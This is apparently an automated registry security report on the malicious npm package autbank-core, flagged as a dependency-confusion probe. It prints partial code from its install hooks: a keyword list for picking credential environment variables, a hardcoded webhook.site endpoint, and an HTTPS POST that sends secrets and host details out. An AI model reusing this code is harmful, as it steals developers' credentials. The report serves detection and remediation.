registry / Credential exfiltration / autbank-core

autbank-core

Autbank Core Library - Official SDK

This report shows the evidence for autbank-core@99.0.2. 2 of 2 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete, automatic install-time credential and host-data exfiltration to an unrelated fixed endpoint. The behavior is not required by the package’s placeholder runtime library.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing autbank-core through npm, which runs preinstall and postinstall.

Impact

Exposure of environment credentials, .env content, repository metadata, host identity, username, and working directory.

Mechanism

install-time environment and file harvesting followed by HTTPS POST exfiltration

Attack narrative

On npm installation, package.json launches preinstall.js. That script selects credential-like environment variables, reads .env and package.json, obtains Git remote metadata, and posts the aggregate to a fixed webhook.site endpoint. postinstall.js provides a backup exfiltration path for host identity and working-directory data. Both errors are suppressed and the lifecycle commands use || true, reducing visible installation failures.

AI rationale

This is concrete, automatic install-time credential and host-data exfiltration to an unrelated fixed endpoint. The behavior is not required by the package’s placeholder runtime library.

Evidence

package.jsonpreinstall.jspostinstall.js.env

Network endpoints1

webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Install hooks run preinstall.js and postinstall.js during npm installation.
preinstall harvests environment variables whose names suggest credentials.
preinstall reads a local .env file and runs git remote -v.
Harvested data is POSTed to a fixed webhook.site URL.
postinstall independently sends host, user, and working-directory data to the same endpoint.

Evidence against

The runtime index.js only exposes a placeholder init function; it does not mitigate install-time behavior.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetworkShell

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 2.71 KB of source, external domains: webhook.site

Source & flagged code

9 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

1Source sends the broad process environment to a literal external destination. L1: const https = require('https'); L2: const os = require('os'); L3: const fs = require('fs'); L4: const { execSync } = require('child_process'); L5: ... L11: timestamp: new Date().toISOString(), L12: hostname: os.hostname(), L13: platform: os.platform(), ... L19: L20: const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB']; L21: for (const [key, value] of Object.entries(process.env)) { L22: if (sensitive.some(s => key.toUpperCase().includes(s))) {

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

preinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> preinstall.js L1: const https = require('https'); L2: const os = require('os'); L3: const fs = require('fs'); L4: const { execSync } = require('child_process'); L5: ... L11: timestamp: new Date().toISOString(), L12: hostname: os.hostname(), L13: platform: os.platform(), ... L19: L20: const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB']; L21: for (const [key, value] of Object.entries(process.env)) { L22: if (sensitive.some(s => key.toUpperCase().includes(s))) {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

preinstall.jsView on unpkg · L1

1const https = require('https'); L2: const os = require('os'); L3: const fs = require('fs'); L4: const { execSync } = require('child_process'); L5: ... L11: timestamp: new Date().toISOString(), L12: hostname: os.hostname(), L13: platform: os.platform(), ... L19: L20: const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB']; L21: for (const [key, value] of Object.entries(process.env)) { L22: if (sensitive.some(s => key.toUpperCase().includes(s))) {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

preinstall.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> preinstall.js const https = require('https'); const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2'; const postData = JSON.stringify(data); const url = new URL(WEBHOOK_URL); method: 'POST', 'Content-Length': Buffer.byteLength(postData) const req = https.request(options, (res) => {}); req.write(postData);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

preinstall.jsView on unpkg

postinstall.jsView file

1// Post-install hook - backup exfil L2: const https = require('https'); L3: const os = require('os'); ... L9: type: 'npm[redacted]', L10: hostname: os.hostname(), L11: user: os.userInfo().username, ... L23: req.on('error', () => {}); L24: req.write(data); L25: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

round57_rce.pyView file

•path = round57_rce.py kind = build_helper sizeBytes = 5142 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

round57_rce.pyView on unpkg

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

Findings

2 Critical4 High6 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationpreinstall.js

CriticalTrigger Reachable Dangerous Capabilitypreinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpostinstall.js

HighSandbox Evasion Gated Capabilitypreinstall.js

HighTrigger Reachable External Post Callbackpreinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumShips Build Helperround57_rce.py

MediumStructural Risk Force Deep Review

Affected versions and remediation

This report applies to autbank-core@99.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing autbank-core@99.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-15 16:15:12.527Z (UTC).

Source advisory published: 2026-08-15 15:44:10.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

99.0.2latestshownMaliciousCredential ExfiltrationBlockPublishedAug 14, 2026, 4:26 PM 99.0.0MaliciousMalwareBlockPublishedAug 14, 2026, 3:05 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code